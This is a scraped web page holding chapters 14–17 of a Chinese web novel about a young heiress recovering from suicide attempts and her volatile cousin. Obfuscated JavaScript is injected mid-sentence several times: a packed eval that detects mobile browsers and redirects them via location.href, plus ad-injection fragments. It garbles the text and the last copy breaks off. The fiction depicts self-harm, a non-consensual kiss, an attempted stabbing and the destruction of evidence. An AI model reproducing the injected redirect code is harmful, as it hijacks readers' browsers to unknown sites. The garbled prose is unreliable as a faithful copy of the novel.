施言直摇头,牙痒痒的。她抓起谢轻意的右手胳膊,撩开袖子,一口咬下去,留下个深深的牙印,缓解了牙齿的痒意,松口,起身,微笑着看着谢轻意:口感真好。 白皙细嫩的胳膊上留下的牙印真好看,心里爽了! 谢轻意吃痛,皱眉,看着咬她胳膊的咬痕,又再看向施言:你属狗的?还是发病了? 她的脑子里划过一个念头:要不要去打狂犬疫苗? 好像没必要吧。 谢轻意有点无语,默默地把胳膊收进被子里,淡淡地说了句:“你是真不嫌脏。” 她躺进医院后肯定没洗澡,睡的是医院的床,盖的是医院的被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子,不知道多少人睡过躺过,说不定还躺过尸体。 施言凑近:“谢大小姐的口感好,脏我也喜欢。” 谢轻意轻哼一声,没跟施言计较。 施言哂笑一声,眼里情绪翻滚。她跟平日里的反差这么大,谢轻意居然一点都不意外!她说:“你的眼线跟了我很长时间了吧。你派人盯谢承安,我能理解。盯我,为什么?” 谢轻意一眼看出施言压抑的暴躁烦闷。这是惹到她了? 她随即明白,施言刚才的反应是试探,然后,自己直接漏底了。或者说,施言在之前就有觉察,先前在酒吧是试探,今天的反常、刚才咬那一口,都是试探。 谢轻意不愿回答施言的问题。 施言的神情冷了下来,眼里似有风暴在酝酿。 谢轻意望着施言的眼睛,忽然好奇发生了什么,会让施言分裂出第二个人格。她以前以为,这个人格,只是施言压抑之下的发泄口。现在,似乎不是? 她正在出神,忽然,下巴被用力捏住,然后,施言居然亲了下来。 谢轻意当场惊懵,愕然地眨眨眼,被人轻轻啃咬嘴唇的触感传来。这是亲?咬……? 随即,她的嘴被施言的舌头撬开,施言化身美女蛇,勾住她的舌尖嬉戏。 谢轻意更懵了,鼻子间吸气,吸到的居然是施言呼出来的空气,唇舌牙齿间萦绕着温柔又像疾风骤雨的触感,让她的脑子有点迷糊,就整个……很怪异又很无语。 随即,施言捏住谢轻意的鼻子,更加用力地亲吻。 鼻子无法呼吸,嘴里的空气又被抽走,窒息感渐渐袭来。正当她觉得难受时,施言又松开她的鼻子,让她吸上两口空气,刚换了两口气,又捏住了鼻子。 谢轻意忽然就想起眼线拍来的限制级视频,眼神倏然冷了下来:这死变态把她当什么了! 她用没受伤的右手摸到手机,对着施言的太阳穴就砸去。 这地方只要砸准了,只需要几斤的力量就能把人砸晕。 她的准头向来很好。 谢轻意刚抡起手机,被施言抓住手腕。气虚力弱,比不过,手被固定在半空。 施言缓缓抬起头,如瀑的长发顺着肩膀滑落到身前,衬着她略微泛红的脸颊以及似染了层春水的眼眸,竟然有着别样的诱惑感。 明明遭到不轨侵犯,明明对方的行为很变态,但……谢轻意发现自己竟然有被这模样的施言诱惑到。 她明白过来,对施言说:“你对我有欲念。” 施言愣了两秒,随即笑问:“谢大小姐,你用得着如此直白吗?”凝视着谢轻意反复打量,她没有看到生气、愤怒,只有平静。谢轻意是真的没情绪的吗? 可没情绪的人,又怎么会连续两次自杀,还都是奔着下死手去的。 施言担心自己再半真半假地试探下去会出事。 她起身,出了谢轻意的病房,径直离开。 她这几日的状态不太对,半梦半清醒的感觉,欲念纷杂,情绪也很乱,全然没了平日里的有条不紊乱。这种情况,每隔几个月就会来一次。有时候能控制得住,撑上一两天就熬过去了,有时候就像疯了,不仅念头疯狂,行事也很疯。 理智告诉她,需要离开,回去多喝些酒,喝醉了,倒头睡一觉,睡饱了,睡够了,一觉醒来,一切就又恢复正常了。 另一个声音又在告诉她,回头,去病房,这时候的谢轻意最好欺负了。可她已经在病房守了两天了,对谢轻意起的限制级念头越来越多越来越杂。 两种声音,两个念头在脑子里打架,让施言有种自己被撕裂开的感觉。 她怕回去后做出不可挽回的事。毕竟酒吧约,事先说好,你情我愿,但她对谢轻意的念头不是那种约,要更疯狂更可怕,而谢轻意也不像是能愿意乱来的人。 这人去酒吧,坐一晚上,点了八瓶昂贵的红酒,让保镖打包带走了。她自己只点了一杯果汁,一口没碰。在这方面,谢轻意是真的乖,乖孩子的乖。 15. 第 15 章 施言离开没几分钟,生活助理拎着早餐来到病房,见到谢轻意醒着,眼圈一下子就红了,哽咽道:“老板,你……” 她没想到,她在卧室收拾屋子的时候,老板正在里面自杀。那声很轻微的碎响,是老板砸碎红酒瓶发出的声音,但凡她多上心一点,但凡她打开浴室门看一眼,说不定老板就不会割腕了。 谢轻意见状,不知道该说什么,只得转移话题,问:“带早餐了?” 生活助理忙说:“带了,带了。熬的八宝粥,你尝尝。”把带来的粥和小菜给谢轻意看,都是她爱吃的。 谢轻意其实一点胃口都没有,但不好拂人家好意。她说:“先洗漱吧。”起身下床。 生活助理怕她太虚弱摔倒,赶紧去搀扶,见她左手打着石膏处处不便,守在旁边帮着挤牙膏、拧毛巾,极体贴地照顾着。 谢轻意洗漱完,吃完早餐,忽然想起一事,问:“今天是周末?” 生活助理说:“星期天。” 谢轻意又想起来,不仅是星期天,还放了寒假,且已经快过年了。 她这生活助理挺可怜的,自己贷款上的大学,刚毕业就被爸妈骗回家,收了三十万彩礼把她嫁给一个大她十岁的家暴男,彩礼拿去给弟弟在县里买房子。她遭遇了很多婚内暴力,实在受不了,找了个机会跑了。家暴男找不到她,就虐待她女儿,想逼她回去。她向家里人求助,结果她那弟弟骗到她的地址回头就告诉了家暴男。家暴男闹到单位,把她的工作搅没了不说,又是一顿当街暴打,想要强行带回去。还好有人报警,又遇到好心的女民警帮助,让她从派出所后门溜走了。 她换了个城市找工作,恰逢遇到谢轻意招生活助理,她来应聘。谢轻意见到她身上有伤,了解到情况后,把她招了进来。 家暴男没能把她带回去,变本加厉地虐待孩子。 谢轻意实在看不过去,安排了两个保镖跟着生活助理,开车去到她老家,一把抱起端着鸡食盆在院子里喂鸡的孩子塞进车里,连夜开车回来。 孩子丢了,家暴男报警,警察找上门来,得知孩子是让母亲接走的,就没再管,结果家暴男在她这里闹上了。 谢轻意让保镖关了监控,把他堵在院子里胖揍。保镖知道怎么打人疼但验不出伤,揍完后,扔出去。她又派眼线悄悄盯着家暴男,一到没监控的地儿就对着他的肚子揍几拳,打完就跑。往他租的廉价出租屋的隐蔽地儿扔装有恐怖铃声的闹钟,每晚不定时闹上几次,又派人半夜去敲门恐吓,等到家暴男开门又躲起来,吓到家暴男崩溃逃回老家,又让跟过去的眼线趁他睡着,将离婚协议书塞到他的裤衤当里。之后,她派了两个保镖陪着生活助理,跟家暴男去民政局办了离婚证。 生活助理的工作需要住在她家二十四小时待命,孩子没人照顾,于是她让孩子跟着生活助理一起住在后院的员工宿舍,将原本的弹性假期调整成固定的周末双休。 星期天,生活助理不在家陪孩子,还往这里跑,谢轻意再看她连眼睛都是肿的,估计是把人吓到了。 她不好直接把人往回赶,于是打电话给管家、财务和保镖队长,让他们来一趟医院。 到年底了,年终福利不能只发钱,还得发些年货、以及让他们带回家比较有面子的高档礼品,这些得提前采购上。年终奖要怎么发,得先跟财务交待清楚,到发工资的时候一起发下去。再就是过年期间,不能所有人一股脑地全部放假,哪些人愿意年后才放,哪些人过年要赶着回家,都得一一问清楚,好排班。要回老家的那些,得提前订票,如果是开车回去,还要考虑避开春运高峰。 谢轻意没能死成,就还得把这些事张罗安排起来。 再就是,她不确定自己哪天又会一时想不开。都说可一可再不可三,或许,她下次再想不开,就没了,如今既然有这顾虑,便不能让这些跟着她的人没个着落。 她连遗产都找不到指定继承人,只能是法律怎么写就怎么分,对于这些跟着自己的人,没有人可托付,能做的就是把他们的失业赔偿金、补助金提前安排好,要是她没了,这笔钱够他们撑过过渡期。 管家、保镖队长、财务听到老板安排后事,急得都想给她下跪了,纷纷劝她不要做傻事。 谢轻意不想说话,困盹地闭上眼,说:“别吵我,想睡会儿。” 三人不敢再闹她,只得又纠结又无奈地离去。 下午,谢轻间躺在床上发呆,收到施言的短信:“方便过去探望你吗?我妈听说你醒了,想过去看看。” 有过早上那一出,施言过来,当然不方便,但大伯母要过来,不好拒绝。她回了两个字:“方便。” 长辈要来探病,谢轻意挪到客厅盖着毯子坐在沙发上看电视,等人。 没过多久,施言推着坐在轮椅上的施惠心进入病房。 谢轻意原本不打算理会施言,把她当透明人的,可早上还拽兮兮一副不当人样的神经病这会儿居然又是内敛沉稳乖得不行的样子。 施言明明还是那身衣服,但扣子扣整齐,腰带系好,整个人的姿势一变,休闲风又秒变端庄严肃风,就连头发都显得乖顺起来,没了早上的肆意张扬劲儿。 她心说:“所以这死变态在大伯母跟前乖宝宝,在大伯母看不到的地方,发起病来,就不当人?” 施惠心见到谢轻意的模样,都有点不忍心,叹道:“你这孩子怎么瘦成这样?”再一看她打着石膏固定起来的左手,更觉刺眼。 好好的一个孩子,怎么就这么……唉! 谢轻意接不了话。 她是自捅一刀后肠胃功能就不太好,经常肚子疼没胃口,吃得少,自然长不了肉,这会儿住着院,气色更是好不到哪里去。可说起来,都是自己作的。 施惠心痛心地劝道:“身体是自个儿的,可得好好爱惜。身体要是毁了,可就什么都没了。你这么年轻,大好的青春年华,哪能这么作贱自己身体……” 谢轻意听着大伯母滔滔不绝的唠叨,只能不断轻轻点头,又忍不住不时瞟向施言。 施言紧挨着大伯母坐在椅子上,坐姿端庄淑女,连目光都是平和温柔的,从头到脚都写着矜持得体,看不出半点装和演的成分,就像她本来就是这个样子。 施惠心觉察到谢轻意不时看向施言的目光,问谢轻意:“怎么了?”又眼带询问地看向施言。 施言大大方方地看向谢轻意,仿佛早上的事情没有发生过。 谢轻意不好提早上的事。让人按在床上啃嘴巴还不了手,有点丢人,于是说:“听医生说施言守了我两天,谢谢啊。” 施言回道:“没帮上什么忙,就是在旁边坐坐,出个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798560|145979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 施惠心对谢轻意说:“这有什么好谢的,她是做堂姐的,姐姐照顾妹妹,应该的。这些年,你没少帮衬我们母女,大伯母都记得的。” 她其实还是有点私心的。这俩在谢家都不受人待见,又难得都是二十来岁的年轻人,且都是有点能耐的,要是能凑到一块儿,互相有个帮衬,不至于孤立无援。 谢轻意礼貌性地笑笑,望向施言:姐姐照顾妹妹,想在床上照顾的那种? 施言抬眼迎上谢轻意的目光,笑着说道:“互相帮衬,轻意妹妹客气了。” 轻意妹妹!谢轻意当场起了满身鸡皮疙瘩,她心说:“你还是叫我谢大小姐吧!”她敢说,这个还是发病的那个,只是太会装了。 施惠心一辈子经历了多少大风大浪,瞧见她俩的眉眼官司,就知道里面有事,但她俩当着她的面掩饰太平,她也不好拆穿,坐了一会儿,便告辞离开。 谢轻意起身相送。 施惠心赶紧抬手制止,说:“歇着吧。” 她顿了下,又对谢轻意说:“你要是觉得能跟言言堂姐处得到一块儿,就多往来,要是觉得处不来,也不勉强。我是想着,你俩都孤单单的,能走动起来,也算有个伴。” 谢轻意“嗯”了声,点头道:“大伯母有心了。施言堂姐挺好的,还陪我过生日。” 施言站在施惠心的身后推着轮椅,神情又变得早上那不太正经的样子,笑笑地说道:“生日烟花还在我那里放着,等你出院,陪你再过一回生日,带你去放烟花。” 谢轻意才不想跟她出去!她说:“行啊,来我家前院放。” 施言说:“一言为定。”她推着轮椅走了。 谢轻意转身回屋,坐在床上,手机放在被子上,查看邮件和各种消息留言。 她忙了不到半个小时,有熟悉的脚步声从走廊一直到病房门口,又毫不停留地直接进来。 她抬头就看到施言进来了。明明还是衣服扣紧穿着端庄得体的穿戴,可就是因为眼神变了,双手插兜的样子又显得有点拽,整个人的气质又一下子大不同。 大概是施言最近来她这里走得勤,再加上谢轻意没有吩咐保镖不让施言进,保镖已经默认她能自由进出,根本没拦。 谢轻意看向站在床边居高临下看着她的施言,问:“有事?” 施言说:“我妈怕你再想不开做傻事,让我来多陪陪你,顺便督促你吃饭,说你太瘦了,需要好好补补。我定了养胃的药膳粥,现熬的,要多等一会儿才送过来。” 她瞧见谢轻意眼里的警惕,再看好浑身都下意识绷紧,顿时来了兴致,故意压低声音,用很变态的语气,问:“你怕我啊?”还露出个阴森诡异的笑容来。 谢轻意身上的汗毛都竖了起来,心说:“神经病。”懒得搭理她,继续单手戳手机打字。 施言转身到旁边的椅子上坐下,安安静静地看着谢轻意对着手机打字回消息。 专心忙碌的谢轻意,没有平日里的冷漠疏离气息,专注恬静,柔顺的长发衬着精致漂亮的五官,黑白分明,像水墨山水画,赏心悦目。 谢轻意觉察到施言的目光,说了句:“我很讨厌对伴侣家人使用暴力的人。”她说完,意有所指地看向施言,眼里带着警告:收起你的那些心思和念头,别把主意打到我身上。 16. 第 16 章 谢轻意很清楚,施言起了心思,不是两句警告就能打消的,但施言对她起什么心思,其实一点都不重要。想她死的人还有很多呢,两个巴掌数不完的那种,那些人不也拿她没办法么。 施言早上的行为,倒是给她提了个醒。 她的保镖都是男的,保护日常出行、看家护院是够了的,但一旦有人进入到卧室、浴室这种男保镖不便进入的私密地方控制住她,或者她像之前在浴室自杀那样,情绪战胜理智,自己就会陷入危险中。 她只是病了,并不是真的要去死。 谢轻意处理完手头的工作,立即联系有业务往来的几家保镖公司,把自己要招贴身女保镖的要求发到对方老板的邮箱。 虽说她以前有挖保镖公司的墙角,但她挖墙角的时候,不仅帮保镖赔了违约金,还按照市场价给了保镖公司中介费,再就是她的大部分安保、监控设备都是找保镖公司买的,且是每年都得购买,一来二去的,就成为了几家保镖公司的大客户。 不到半个小时,几家保镖公司便都把备选人员的资料信息、报价等都发了过来。 谢轻意招保镖都是招熟了的,一套流程走下来,下午便把两个女保镖招到了跟前。 两个女保镖俩都是由保镖队长亲自到保镖公司去试的身手,各项能力都挺出众的,贵虽贵,但谢轻意觉得自己真没省钱的必要。 施言下午回了趟公司,傍晚提着打包的美食到谢轻意的病房,看到一个穿着黑西装的年轻女人站在窗前回头打量她。那女人的年龄与她差不多,头发扎成马尾,长得很清秀,但看人时眼睛明亮有神,很是英气。 她下意识看向谢轻意:不是吧,一回头你就招了个女保镖? 谢大小姐的行事效率和财力,啧!牛批! 谢轻意坐在病床上,小桌板上放着笔记本电脑,正在看报表。她瞥见谢轻意提来的一堆饭菜,便是肠胃一阵痉挛,不想吃饭。 她朝女保镖喊了声:“花花。”指向施言手里提着的饭菜,说:“你们的晚饭到了。” 施言真想把饭菜砸谢轻意身上。她冷下脸说道:“跑了半个城,特意给你打包的。” 谢轻意头都没抬:“跑腿的又不是你。” 女保镖上前提过施言拎来手里的饭菜,放到外面,又把守在病房外的四个保镖叫进来吃晚饭,她自己则回到病床边守着老板,防贼似的将施言跟老板隔开。 老板这么急招保镖,招来后,就给她俩排了轮班,立即安排上班,自然是在防范着什么。来的这位,看起来不像是跟老板能友好相处的样子。 施言拉来椅子在床边坐下,问:“谢轻意,你有没有良心?” 谢轻意反问:“你有?” 施言冷笑:“比你多点。” 谢轻意懒得搭理她。 敲门声响起,跟着谢家的大厨提着食盒进来,道:“老板,您的晚餐。” 谢轻意示意他放到桌子上,说:“放着吧。” 大厨依言放到桌子上,又叮嘱句:“老板,那您记得吃哈。” 谢轻意:“嗯”了声,把大厨打发走了。 女保镖去提大厨送来的晚餐。 谢轻意说:“放那吧,没胃口。” 原来不是嫌弃她买的晚餐,是没胃口啊。施言的心情一下子就好了!她又绷着脸说:“你的胃不要了?” 上前,去女保镖手里提谢轻意的晚饭。 女保镖的手往旁边挪了点,避开施言提食盒的动作。 施言问:“你有没有发现你老板特别瘦?一米六九的身高,才八十多斤。” 女保镖看了眼谢轻意的脸色,确实很虚弱的样子。她默默地把食盒递给了施言。 施言打开食盒,一叠肉粥,一叠小菜。如果是厨房备的,按照谢轻意以前的标准,再简单也会是三荤两素一汤,这应该是谢轻意自己点的。 她盛好粥,端着小菜坐到病床边,拿勺子盛上,喂到谢轻意的嘴边。 谢轻意抬眼看向施言,想问她是不是很闲,但她要是张嘴说话,勺子就能塞嘴里。 她接过装满粥的碗和勺子,小口地吃着。 粥入腹,温热感进到肚子里,有点刺刺的难受。她强忍着吃了两口,便觉肠胃痉挛,一阵恶心反胃感袭来。 她赶紧拉开床头柜抽屉从中扯出纸巾,捂住嘴,强压反胃感。 女保镖眼疾手快,一拿来垃圾桶递给她,一手接过谢轻意手里的粥,以免打了洒到身上烫到她。 谢轻意捂着嘴,脸色苍白得极其难看,额头上浮起一层细密的冷汗。 她起身下床。 施言去扶她。 谢轻意避开施言的搀扶,径直去往洗手间,关上门,把保镖和施言都关在了外面。 施言打开食盒,捧起里面装粥的保温盅先闻了下,味道没有异样。她拿起筷子挑了些在嘴里尝了尝,色香味俱全,没哪里不对劲,粥是温热的,不是因为烫刺激到谢轻意的肠胃。 谢轻意忍了好一会儿才把反胃感压下去,但肚子更疼了。 上次去挂精神科导致没好的伤裂开,考虑到出血量不大和手术风险,没做二次手术,但那之后,出现肠粘连情况,到现在一直没好,肚子经常疼,一疼就没胃口、反胃。 肠胃的难受,让谢轻意的心情一下子又罩进阴霾中。 她靠着门缓缓地滑坐在地上,捂紧肚子又缓解疼痛。不想出去,不想让人看到失态的自己,更不想让人看到她的狼狈。 施言敲门:“谢轻意,你还好吗?” 谢轻意回了句:“没事,让我自己待会儿。” 施言问她:“你猜我放不放心?”她是真怕谢轻意又把自己关起来做傻事。 谢轻意强忍疼痛和难受站起身,又擦了脸上的冷汗,尽量让自己的表情看起来正常点,然后,打开门,面无表情地看了眼施言,对女保镖说:“送客。” 施言看出谢轻意在强撑,不愿谢轻意在这时候还要耗神来应付她,转身出了病房。 四个保镖在病房外间,刚端起饭,听到里面的声响,纷纷凑到门口查看情况。 谢轻意打了个手势,示意他们忙去吧,不用管她。 她躺回到病房上,钻进被子里,疼得蜷缩成团。 女保镖到病房边,半俯身凑近谢轻意,轻声说:“老板,我去叫医生。” 谢轻意低低地回了句:“不用。你跟他们说,这几天我谁都不见,包括施言。” 女保镖向守门的几个保镖转达了谢轻意的意思后,瞥见抽屉里有药,先看了下药名和药品介绍,问谢轻意:“老板,你肚子疼是吃这几种药吗?” 她将药瓶子递给谢轻意看。 谢轻意“嗯”了声。 女保镖见药写着一天三次,知道她晚上的药没吃,去接了温水,照顾她把药吃下。 之后便一直守在床边,直到谢轻意睡着,她才轻手轻脚地出去,到门口,小声问那四个门神:“老板什么情况?” 都是同事,且这个是贴身照顾的,几个保镖没瞒她。 “老板……呃,她之前捅了自己一刀,就肠胃不太好了,经常肚子疼。这次住院,左手打石膏,是把自己关在浴室割腕造成的。你多看着她点,别让她再做傻事,兄弟们的安稳富贵可全在老板身上。” 女保镖明白了,她的工作不仅要防止来自外界的危险,还得防着老板自杀。她又问:“那刚才的那位是?” “那是我们老板的堂姐,幸好是她及时发现老板不对劲,老板才得以抢救过来。”保镖担心她新来的不明状况,又补充句:“老板就对我们好,对谁都不亲近。” 女保镖有点无语:对一群保镖好? 几个保镖唯恐女保镖不上心,又说:“老板给我们的待遇可好了。每个月到手的钱,工资加奖金是一个半月的工资,老板还经常给发双薪,年终奖是两个月工资,还不算发礼物以及年节补贴。我们要是遇到点什么事儿,求到老板头上,老板都能替我们解决了。” 别看老板年龄小,道道和心眼子是真的多,能力顶顶的。就是……哎!最近老自杀,搞得他们都担心死了。 四个保镖你一言,我一语,千叮咛万嘱咐,连求带施压,就怕盯不牢老板,让她出事。之前大家都在愁,要是老板再想不开,又关浴室、厕所等地儿自杀,他们一群大男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798561|145979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总不能去盯着吧。好在老板脑子还是清醒的,知道雇女保镖。 吕花花感受到来自他们的压力,应下,回到病床边守着财神爷。 谢轻意又住了两天院,身体各项体征平稳,也做了胃肠CT,确定肚子疼就是肠道有炎症和伤口渗血渗液造成的肠粘连。医生考虑到她现在的身体状态不是很好,建议还是先保守治疗,要是年后还疼的话,视情况可以考虑做手术。 之后,她便办了出院手续,出院回家。 考虑到女保镖要夜里要在她的卧室值班守夜,让管家在她的卧室加了张单人床。 中午,谢轻意刚在餐桌坐下准备吃午饭,谢老七和文兰风风火火地赶了回来。 谢老七看着拿着筷子愕然看来的谢轻意,又再看桌子上的八菜一汤,再看向旁边站着管家,周围站着保镖,排场十足的模样,愣了,随即诧异问道:“你不是自杀要死了吗?” 他们心急火燎地赶回来,见到的是什么? 文兰扯扯谢老七的袖子,说:“少说两句。” 谢轻意缓缓地把筷子放在桌子上,冷眼看着他俩:“死了自然会有人通知你们,你们可以滚了!” 管家赶紧上前,喊:“承佑先生,老板刚出院……” 谢轻意出声打断:“秦叔!”冷眼扫过去。 管家刚说话,可瞧见她的眼神,又生生地把话咽了回去。 谢轻意没了胃口,站起身,右手按在桌子边沿,直接掀了满桌子饭菜,下令:“把他俩赶出去!”头也不回地往后院走去。 随着她站起身,露出披肩下吊着胳膊的吊带,以及把左手手腕裹得严严实实的石膏。 一群保镖上前,态度强硬地把两人请了出去。 谢轻意没回自己的院子,而是去了爷爷的屋子,躺在爷爷常躺在的躺椅上,闭上眼睛,只感觉自己再一次被黑暗包围。 一个疯狂念头浮现在她的脑海。 她起身,去书房,找了把匕首,径直朝前院走去。 女保镖见状,紧紧地跟在谢轻意的身边,做好随时夺刀的准备。 谢老七和文兰怎么都没想到谢轻意会把他俩赶出来。愤怒、羞恼等情绪齐上心头,谢老七气得直咬牙,拳头握得紧紧的,大声喊:“谢轻意,你反天了!” 谢轻意面无表情地走出来,手里还握着把匕首。 文兰以为她又要当着他俩的面来个自杀式报复,脸色大变,喊:“轻意,别做傻事。” 谢轻意一步步走向谢老七,待走到匕首能捅到的位置时,抬手就朝谢老七的肚子捅去。这次,对准的是胃,保管一刀下去,救都来不及救。 女保镖早有准备,一把握住谢轻意的手,震惊地看着她:老板,你要干嘛? 谢老七也呆住了。他低头看到刀尖对着的位置,又抬起头,难以置信地看向谢轻意。 谢轻意还要再用捅,女保镖直接抢走匕首扔得远远的,再抱着谢轻意的腰强行把她拽回到院子里。 一旁的保镖们也回过神来,有赶紧去捡回匕首飞快擦掉上面的指纹的,还有飞奔回院子,火速把门关上的。 谢老七叫道:“她……她……”她要杀他! 文兰也呆住了。她怎么都没想到到那刀子……居然是直接冲承佑去的。她半晌才说了句:“她疯了吗?” 施言接到文兰的电话,得知他俩回来了,不用想都知道肯定又会闹起来,赶紧开车赶过来,刚到谢家大门口就见到谢轻意拿匕首要捅谢老七,惊得愣了好几秒才回过神来。 她以为自己看错了,火速切进行车记录仪的录像功能,调出刚才拍到的画面,反复看了好几遍,无论怎么看都是谢轻意拿着匕首出来,径直走到谢老七跟前,抬手就捅了过去。 一句话没说,一点停顿都没有,连一点征兆都没有,直接抬刀就捅。 谢老七看起来像是一防备都没有。 要不是旁边的女保镖盯得紧,且反应及时,那一刀只怕已经捅了进去。 施言想到谢轻意之前两次自杀,这次居然要捅谢老七,她几乎可以确定,谢轻意的精神极可能出现了问题,很大的问题。 谢轻意疯了? 17. 第 17 章 施言想起谢老爷子临终时放心不下的模样,再看谢老爷子一死,谢轻意就对谢承安展开疯狂报复,以及谢老七两口子行事,猜测谢轻意出现童年创伤的可能性极大。 大部分情况下雇保镖,都是司机兼保镖,一个就够了。多些的,两到四个。 谢轻意身边有三十多个保镖。那天,她早上亲了谢轻意,下午,谢轻意就又加了俩保镖。所以,保镖其实是谢轻意在极度不安和恐惧之下,下意识给自己武装的保护壳? 从保镖数量以及整体实力上也能看出,谢轻意病得不轻啊。 谢这大宅的耳门开了,两个保镖走了出来,轻轻敲了敲她的窗。 施言落下车窗,问:“轻意怎么样了?” 保镖没答,而是指了指施言的行车记录仪,又合什道:“拜托。” 施言会意,将行车记录仪取下来,递过去。 保镖将刚才拍到的画面连同备份留档一起删除后,还给了施言,又说:“施言小姐,不好意思啊,能看一眼你的手机吗?” 施言打开手机相册给保镖看。 保镖确定手机没有拍下视频和照片后,再三表示感谢和道歉,用仪器在外面扫了圈,确定没有其它偷拍摄备,又找到那些举着手机视频拍摄的路人,客客气气地沟通一番,花钱买下他们拍摄到谢轻意的视频和照片,将其删除得干干净净。 施言瞧见谢老七还站在门口,脸色阴沉得可怕,拨通了谢老六的电话。 在谢家,能制得住谢老七的,也就谢老六了。她能跟谢老六走动起来,对搭建人脉也有好处。 很快,电话接通,谢老六的声音从电话里传来:“大侄女,怎么想起给六叔打电话,怎么了?” 施言说:“没事就不能给六叔打电话吗?” 谢老六说:“要说拜年吧,明天才小年。你们闹得鸡飞狗跳的,我在几千里外都听说了,想也知道有事。” 施言说:“六叔,轻意生日当天割腕自杀的事,你知道吧?” 谢老六极诧异,道:“割腕自杀?她人怎么样?伤得重不重?她现在在医院吗?” 施言说:“我们发现的时候,她已经快不成了,送到医院时呼吸和心跳都停了,抢救了好久才救回来。当时我跟七婶打电话,七婶说他们要过几天才能回来。轻意今天上午刚出院,刚才七叔和七婶回来了……” 把她在谢家大门前见到的一幕告诉了谢老六,又说:“我担心会再出事。” 谢老六说:“我现在马上赶过去。老七那里,你们先拦着,千万别让他俩再接触轻意,我去跟他俩沟通。你先看好轻意,千万千万看好,我现在就过去。” 施言挂了电话,下车,去到谢家大宅前,敲门。 保镖通过监控看到是施言,于是打开门,说:“施言小姐,老板这会儿不方便。” 施言说:“我担心她再出事,来陪陪她。” 保镖犹豫了下,给施言让开了门。 施言进入院子没有看到谢轻意,便问保镖:“谢轻意在哪?” 保镖指向后院方向。 施言穿过前院,沿着回廊走出一段,便看到谢轻意站在不远处的水榭旁。峭冷的寒风吹拂着她的长发和披肩,浑身上下都释放出清冽的冷意。 女保镖离她不到两步远,水榭周围站了一圈保镖,有两个甚至已经脱了外套,就怕她一时想不开大冷天往水里跳,方便及时下水捞人。 施言去到谢轻意身旁,伸出双臂环住谢轻意,轻声说:“肩膀借给你用一用。” 谢轻意的思绪极混乱,似想了许多,又似什么都没想。 她恍恍惚惚的只觉行走在梦境里,周围的一切都是那么的飘忽,她努力地把溃散的思绪凝聚起来,脑子里便浮现出谢老七比绑匪还要凶恶的嘴脸,和那些恶毒责骂的话语,以及满脑子的有关谢老七的信息线索。 她想做一个能干掉他的局。干掉他,他就会消失在自己的世界里,再不会打扰到她。 这是你死我活的局面。他不死,她就得死于精神崩溃。 谢轻意又觉得胸腔里一片钝痛,没有确切的痛感,似压了块千斤巨石一点点被碾压的疼。那钝感从全身扩散到每一寸骨头,似要将人碾碎,又似溺了水,却连一根浮木都抓不着。 忽然,有人抱住了她,施言的声音响在耳畔。 谢轻意仍旧站得笔直,一动也不动,丝毫没有在施言身上靠一靠的打算。 一个需要她雇贴身女保镖来防备的人,又怎么可以去靠一靠呢。 她唯二能依靠的两个人都已经离开了这个世界。 “谢轻意。”施言轻柔的声音响在耳畔。 谢轻意明知她不怀好意,怀着趁虚而入的目的,可这声音就像清甜的泉水穿过充满迷雾的灰色森林,眼前的一切逐渐变得清晰,又同样令人难受。 谢轻意太疼太难受了,那难受感让她想让谁对着她的胸膛来一刀,或者自己来一刀,把那令人难受的钝痛感变成清晰的刺痛感。来自血肉之躯的刺痛,能驱散来自灵魂的钝痛,两害相权取其轻。 她拉住施言的手,往她居住的院子去。 如果,施言想把她当成猎物,行,撕碎她! 她不介意! 如果身体上的折磨能缓解心头的难受,未偿不可。 周围的保镖赶紧跟上。 施言诧异地看向走得飞快的谢轻意,心说:“又怎么了?” 谢轻意拉着施言迈进小院院门,回头就把门关上了,将一众保镖全部关在外面。 “老板!”保镖们拍着门,不放心她。 谢轻意说:“放心,我不会去死,跟施言谈点事。”那冷静的表情,平静的语气,仿佛真的有事要谈,一点都看不出情绪有异。 她插上门栓,拉着施言穿过庭院,进到卧室。 施言跟进去,迅速扫了眼谢轻意的卧室。院子从外面看是古建筑式样,里面是现代中式风装修,简约大气又处处皆是精致讲究,随意摆放的花瓶、摆件都是古董。靠窗的位置摆了个贵妃榻,榻上有着薄毯、小桌子,在贵妃榻的头上则是一个小书架,上面摆着厚厚的一大撂专业书籍,和一个装有文具的笔筒。从痕迹看,谢轻意似乎经常在这里看书。 这人,私下里好像还挺努力? 施言的目光挪到谢轻意身上,发现她正看着自己,眼神幽冷,凉凉的,带着些她看不懂的复杂情绪。 施言下意识地脱口问出句:“谢大小姐,有何贵干?” 谢轻意说不出口,最后只化作一句:“陪我一会儿。” 她去到椅子上坐下,别说往床上去,连软榻都没敢靠近。她怕自己崩溃,她怕自己做出不理智的事,她更怕已经站在悬崖边的自己,已经把捕猎者带到房里的自己,一步踏错, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 